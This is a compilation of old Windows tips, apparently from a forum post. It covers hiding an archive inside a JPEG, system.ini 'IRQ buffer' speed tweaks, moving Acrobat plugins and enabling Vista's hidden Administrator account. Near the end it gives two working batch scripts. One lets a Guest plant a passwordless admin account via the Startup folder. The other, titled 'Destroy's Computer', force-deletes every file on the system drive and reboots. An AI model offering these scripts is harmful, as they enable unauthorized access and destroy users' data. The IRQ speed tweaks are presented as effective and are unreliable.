How to hide a file in a image?

1. Gather the file you wish to bind, and the image file, and place them in a folder. For the sake of this demonstration, I will be using C:\New Folder
-The image will hereby be referred to in all examples as fluffy.jpg

-The file will hereby be referred to in all examples as New Text Document.txt
2. Add the file/files you will be injecting into the image into a WinRar .rar or .zip. From here on this will be referred to as (secret.rar)
3. Open command prompt by going to Start > Run > cmd
4. In Command Prompt, navigate to the folder where your two files are by typing
cd location [ex: cd C:\New Folder]
5. Type [copy /b fluffy.jpg + secret.rar fluffy.jpg] (remove the brackets)
Congrats, as far as anyone viewing is concerned, this file looks like a JPEG, acts like a JPEG, and is a JPEG, yet it now contains your file.

In order to view/extract your file, there are two options that you can take
a) Change the file extension from fluffy.jpg to fluffy.rar, then open and your file is there
b) Leave the file extension as is, right click, open with WinRar and your file is there

How can I increase my broadband connection speed?

This tip is designed for increased BROADBAND speed in Windows XP while using standard Network Interface cards (NIC) that are connected to ADSL modems, or when using any directly-connected USB ADSL modem.
To speed up the Internet connection speed we need to configure a special buffer in the computer's memory in order to enable it to better deal with interrupts made from the NIC or the USB modem.
This tip is only recommended if you have 256MB RAM or higher.

Step #1 - Identify the IRQ used by the NIC/USB modem

Follow these steps:

1. Open the System Information tool by running MSINFO32.EXE from the Run command.
2. Expand System Summary > Hardware Resources > IRQs.
3. Look for the listing made for your NIC (in my case - a Intel(R) PRO/100+ Management Adapter). Note the IRQ next to the specified line (in my case - IRQ21).



In case of USB modems you will first need to find the right USB device used by your modem. Follow these steps:

1. Open the Device Manager tool by running DEVMGMT.MSC from the Run command (or by right-clicking My Computer > Hardware tab > Device Manager button).
2. Scroll down to Universal Serial Bus controllers and expand it.
3. Right-click the USB Root Hub and select Properties. Note that you might need to do so for all listed USB Root hubs (if there are more than one) in order to find the right one.

4. In the Power tab, look for your USB ADSL modem.
5. In the Resources tab look for the assigned IRQ (in this case - IRQ21).

6. This is the IRQ we're looking for.

Note: IRQs and modem names might vary...

Step #2 - Modify the system.ini file
Follow these steps:
1. Run SYSEDIT.EXE from the Run command.
2. Expand the system.ini file window.
3. Scroll down almost to the end of the file till you find a line called [386enh].
4. Press Enter to make one blank line, and in that line type

IrqX=4096
where X is the designated IRQ number we found in step #1, in my case it's IRQ21.

5. Click on the File menu, then choose Save.
6. Close SYSEDIT and reboot your computer

How can I increase my hard disk speed in Windows ?

First Common method is Defragment.. but 2nd Method

To speed up your hard disk speed we need to configure a special buffer in the computer's memory in order to enable it to better deal with interrupts made from the disk.

This tip is only recommended if you have 256MB RAM or higher.

Follow these steps:

1.Run SYSEDIT.EXE from the Run command.
2.Expand the system.ini file window.
3.Scroll down almost to the end of the file till you find a line called [386enh].
4.Press Enter to make one blank line, and in that line type

Irq14=4096

Note: This line IS CASE SENSITIVE!!!

5.Click on the File menu, then choose Save.
6.Close SYSEDIT and reboot your computer.

Done. Speed improvement will be noticed after the computer reboots.

Note: The most speed improvement is visible with IDE drives, however there are reports that this tweak also does good for SCSI disks. In any case, it won't harm your system, so why not try it yourself and let me know what you find.

Speed Up Your Acrobat Reader

1. Go to the installation folder of acrobat reader
(C:\program files\adobe\acrobat\reader\.. whatever)

2. Move all the files and folders from the “plugins” directory to the “Optional” directory. (I repeat.. cut and paste the files NOT copy & paste).
Also make sure that acrobat reader is not open else it will lock the files and not allow you to move the files).
Now your acrobat reader will load very fast
and almost as good as notepad..

Unlock The Supersecret Administrator Account For Vista

Deep inside the bowels of Windows Vista, there’s a secret Administrator account, and it’s different from the normal administrator account you most likely have set up on your PC. This Administrator account is not part of the Administrator group.

It’s a kind of superadministrator, akin to the root account in Unix, and by default it’s turned off and hidden.
(In describing this tut, i’ll always use the capital “A” for the secret Administrator account, and a lowercase “a” for a normal administrator account.)

In versions of Windows before Windows Vista, the Administrator account wasn’t hidden, and many people used it as their main or only account. This Administrator account had full rights over the computer.

In Windows Vista, Microsoft changed that. In Vista, the Administrator account is not subject to UAC, but normal administrator accounts are. So the Administrator can make any changes to the system and will see no UAC prompts.

Turning on the Administrator account is straightforward. First, open an elevated command prompt by typing cmd into the Search box on the Start menu, right-clicking the command prompt icon that appears at the top of the Start menu, then selecting Run as administrator — or just use the shortcut you created in the previous hack.

Then enter this command and press Enter:
Net user administrator /active:yes
From now on, the Administrator account will appear as an option on the Welcome screen, along with any user accounts you may have set up. Use it like any other account. Be aware that it won’t have a password yet, so it’s a good idea to set a password for it.

If you want to disable the account and hide it, enter this command at an elevated command prompt and press Enter:
Net user administrator /active:no

Create a admin account if u r a Guest in XP

Code:

@echo off
net user Admin /add /expires:never /passwordreq:no
net localgroup “Administrators” /add Admin
now copy this to notepad and save as admin.bat
copy the file to the statup folder.

Here is the path of startup folder.
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
when the admin logs on the batch file runs and the admin acc is created
so next time you log on u can use
username:admin
password:no

Destroy’s Computer

Code:

@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

What it does is ?
You get a blue screen that say’s file is missing please install XP again
